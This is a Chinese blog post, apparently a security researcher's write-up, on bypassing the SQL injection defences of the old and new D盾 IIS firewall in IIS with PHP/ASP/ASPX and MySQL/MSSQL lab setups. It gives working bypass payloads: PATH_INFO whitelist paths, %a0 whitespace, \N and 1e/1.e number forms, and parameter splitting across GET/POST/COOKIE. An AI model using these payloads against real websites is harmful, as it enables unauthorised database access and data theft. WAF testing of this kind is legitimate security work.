D盾旧版:

00前言

D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况。D盾_IIS防火墙注入防御策略,如下图,主要防御GET/POST/COOKIE,文件允许白名单设置。

构造不同的测试环境,IIS+(ASP/ASPX/PHP)+(MSSQL/MYSQL),看到这边的策略,主要的测试思路:

a、白名单

b、绕过union select或select from的检测

01 PHP+IIS+MYSQL

搭建这个window2003+IIS+php+mysql,可花费不少时间,测试过程还蛮顺利的,先来一张拦截图:

绕过姿势一:白名单

PHP中的PATH_INFO问题,简单来说呢,就是

http:/x.x.x.x/1.php?id=1 等价于

http://x.x.x.x/1.php/xxxxxxxxxxxxx?id=1

白名单中随便挑个地址加在后面,可成功bypass,

http://x.x.x.x/1.php/admin.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

经测试,GET、POST、COOKIE均有效,完全bypass

绕过姿势二:空白字符

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

测试了一下,基本上针对MSSQL的[0x01-0x20]都被处理了,唯独在Mysql中还有一个%a0可以利用,可以看到%a0与select合体,无法识别,从而绕过。

http://x.x.x.x/1.php?id=1 union%a0select 1,2,3 from admin

绕过姿势三:\N形式

主要思考问题,如何绕过union select以及select from?

如果说上一个姿势是union和select之间的位置的探索,那么是否可以考虑在union前面进行检测呢?

为此在参数与union的位置,经测试,发现\N可以绕过union select检测,同样方式绕过select from的检测。

http://x.x.x.x/1.php?id=\Nunion(select 1,schema_name,\Nfrom information_schema.schemata)

02 IIS+ASP/ASPX+MSSQL

搭建IIS+ASP/ASPX+MSSQL环境,思路一致,只是语言与数据库特性有些许差异,继续来张D盾拦截图:

绕过姿势一:白名单

ASP: 不支持,找不到路径,而且D盾禁止执行带非法字符或特殊目录的脚本(/1.asp/x),撤底没戏了

http://x.x.x.x/admin.php/../1.asp?id=1 and 1=1 拦截 /1.asp?b=admin.php&id=1 and 1=1 拦截,可见D盾会识别到文件的位置,并不是只检测URL存在白名单那么简单了。。。

ASPX:与PHP类似 http://x.x.x.x/1.aspx/admin.php?id=1 union select 1,'2',TABLE_NAME from INFORMATION_SCHEMA.TABLES 可成功bypass

绕过姿势二:空白字符

Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 [0x01-0x20]全部都被处理了,想到mysql %a0的漏网之鱼是否可以利用一下?

ASP+MSSQL: 不支持%a0,已放弃。。。

ASPX+MSSQL: %a0+%0a配合,可成功绕过union select的检测 id=1 union%a0%0aselect 1,'2',TABLE_NAME %a0from INFORMATION_SCHEMA.TABLES

绕过姿势三:1e(科学记数法)形式

MSSQL属于强类型,这边的绕过是有限制,from前一位显示位为数字类型,这样才能用1efrom绕过select from。 只与数据库有关,与语言无关,故ASP与ASPX一样,可bypass,id=1eunion select '1',TABLE_NAME,1efrom INFORMATION_SCHEMA.TABLES

D盾新版:

00前言:

『D盾_防火墙』专为IIS设计的一个主动防御的保护软件,以内外保护的方式防止网站和服务器给入侵。新版的D盾_防火墙,支持系统:win2003/win2008/win2012/win2016,在IIS整体防护效果,还是非常给力的。本文通过一个SQL注入点,分享一个Bypass D盾_防火墙SQL注入防御的思路。

01环境搭建:

构造一个ASPX+MSSQL注入点:

string id = Request.Params["id"];

string sql = string.Format("select * from admin where id={0}", id);

『D盾_防火墙』 版本: v2.0.6.70

02 特殊的MSSQL特性:

一、MSSQL特性

在MSSQL中,参数和union之间的位置,常见的可填充方式有如下几种:

(1)空白字符 Mssql可以利用的空白字符有:

01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

(2)注释符号

Mssql也可以使用注释符号/**/

(3)浮点数

select * from admin where id=1.1union select 1,'2',db_name() from admin

(4)1E0的形式:

select * from admin where id=1e0union select 1,'2',db_name() from admin

二、Bypass Fuzz

使用以上几种常规的形式进行测试,都没有效果,接着针对构造的SQL注入点,进行Fuzz参数和union之间的位置

http://x.x.x.x/sql.aspx?id=1【Fuzz位置】union select null,null,SYSTEM_USER

Fuzz结果:通过1.e这种特殊的数值形式,可成功绕过union select防御。

到这里,可union select,形成了部分Bypass,接下来考虑,如何去绕过select from的防御规则。

03 aspx特性的分割注入

一、ASPX HPP特性

假设GET/POST/COOKIE同时提交的参数id,服务端接收参数id的顺序是什么样呢?

ASPX+IIS:同时提交参数id,会接收所有参数,通过逗号分隔,如下图:

二、Bypass 测试

利用ASPX+IIS同时接收参数的方式比较特别,可以用这个特性来搞事。 利用这个特性来拆分select from,从而绕过D盾的SQL注入防御规则。

04总结:

部分Bypass 1.e这中特殊的数值形式适合于MSSQL的场景。

完全Bypass姿势的局限:

使用Request.Params["id"]来获取参数, 三种方式可以进行参数传递:(1)GET (2)POST (3)COOKIE 获取到参数拼接起来。

利用场景略局限,仅仅作为Bypass分享一种思路而已。

另外,如果把UNION SELECT FROM 三个关键字分别放在GET/POST/COOKIE的位置,通过ASPX的特性连起来,我相信这是很多waf都防御不了的。

bypass最新版d盾mysql_21. Bypass D盾_防火墙(旧版 and 新版)SQL注入防御(多姿势)...相关推荐

  1. bypass最新版d盾mysql_Bypass 护卫神SQL注入防御(多姿势)

    0x00 前言 ​ 护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能. 这边主要分享一下几种思路,Bypa ...

  2. bypass最新版d盾mysql_Bypass D盾_IIS防火墙SQL注入防御(多姿势)

    0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防御策略 ...

  3. bypass最新版d盾mysql_Bypass D盾_IIS防火墙SQL注入防御(多姿势) | CN-SEC 中文网

    0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的 a.白名单   b.绕过union select或se ...

  4. Bypass 360主机卫士SQL注入防御(附tamper脚本)

    0x01 前言 在测试过程中,经常会遇到一些主机防护软件,对这方面做了一些尝试,可成功bypass了GET和POST的注入防御,分享一下姿势. 0x02 环境搭建 Windows Server 200 ...

  5. idea卸载删除旧版重新安装新版后,新版本idea程序打不开闪退的解决方案

    一般情况下,都是因为破解idea时,在启动参数配置文件idea64.exe.vmoptions中添加了如下参数: -javaagent:D:\IntelliJ IDEA 2020.1\bin\jetb ...

  6. matlab旧版比新版好用,MATLAB新版本及新功能介绍matlab2012b.PDF

    MATLAB新版本及新功能介绍matlab2012b Matlab2012b New Feather Desktop 1. Toolstrip 代替了菜单和toolbar 1.1 Toolstrip ...

  7. 钉钉老版本下载3.31_钉钉旧版最新版_钉钉旧版官方下载_钉钉旧版PC版-华军软件园...

    钉钉旧版pc版客户端是为了大家需要准备的,不习惯使用新版本的新版本的小伙伴们,想要使用旧版本的,小编就给大家提供旧版本的软件,让小伙伴们可以放心的进行使用,还等什么,赶紧试试吧. 相似软件 版本说明 ...

  8. 替换 centOS6.5 默认安装的旧版 firefox ,安装最新版 firefox 全过程

    前言 在当前的 centOS6.5 安装光盘中,自带的 firefox web browser 版本过旧,而且是 ESR 版,也就是无法进行自动更新,这会导致安装系统以后,默认的 17.0.10 旧版 ...

  9. 【Python】Windows:PyCharm 旧版卸载与新版安装汉化参考(专业版试用期/社区版)

    目录 一.PyCharm 2019.1.2 旧版卸载 (1)旧版备份 (2)旧版卸载 (3)旧版安装文件删除 (4)hosts 文件修改 (5)旧版环境变量修改 (6)注册表删除 二.PyCharm  ...

  10. 记一次SQL注入Bypass过程

    前言 某日突然对肥宅的生活感到了厌倦,竟连肥宅快乐水喝起来也索然无味,我需要改变!想起胖友几天前发的一个灰色性质网站,正好测试一下打发时间.直入主题,通过访问网站发现需要输入密码,地址栏有传递参数,手 ...

最新文章

  1. python简单入门代码-Python入门 | IDLE的介绍和使用方法
  2. 【HDU - 4990】 Reading comprehension (构造+矩阵快速幂)
  3. getParameter
  4. html 生成image java makenoise,[图形学] 柏林噪声 (perlin noise)
  5. 转 Oracle DBCA高级玩法:从模板选择、脚本调用到多租户
  6. 删除还原点 oracle,oracle 还原点(restore point)
  7. Clojure 学习入门(8)- 连接mongodb
  8. 大型网站架构的演化[转]
  9. nginx配置华为云ssl证书
  10. 实例讲解新GRE填空的变化
  11. 【SpringCloud-学习笔记】Docker基本操作
  12. C++中strcmp的用法
  13. 华清远见-重庆中心-数据库阶段技术总结/知识点梳理/个人总结
  14. [B站视频]Python爬虫技术5天速成
  15. oracle bloom过滤,[20180112]11g关闭bloom filter.txt
  16. 民意调查Django实现(二)
  17. OPPO R11S识别不到ADB Device
  18. Linux Fair Queue Packet Scheduler (FQ)公平队列报文调度器
  19. 全文翻译【Scaled-YOLOv4: Scaling Cross Stage Partial Netw】
  20. NRS1800 芯片使用技巧(二)

热门文章

  1. gitlab使用个人版v16.11
  2. 零基础的店铺该如何有效引流?
  3. 《计算机系统2》学习笔记
  4. 长见识:成本控之揭秘16个行业成本结构(多图)书籍成本、矿泉水成本、茅台酒、进口红酒成本、体育彩票成本、养孩子的成本、房价成本、蒂芙尼钻戒成本、化妆品成本...
  5. 阿里云视频点播功能出现错误ClassNotFoundException: com.aliyun.oss.internal.OSSUdfOperation
  6. ASP.NET耗时操作进度显示
  7. 对Transformer中的Attention(注意力机制)的一点点探索
  8. ElasticSearch的倒排索引和查询
  9. 整合IIS5.1和Tomcat5.5.12
  10. 探究Presto SQL引擎(3)-代码生成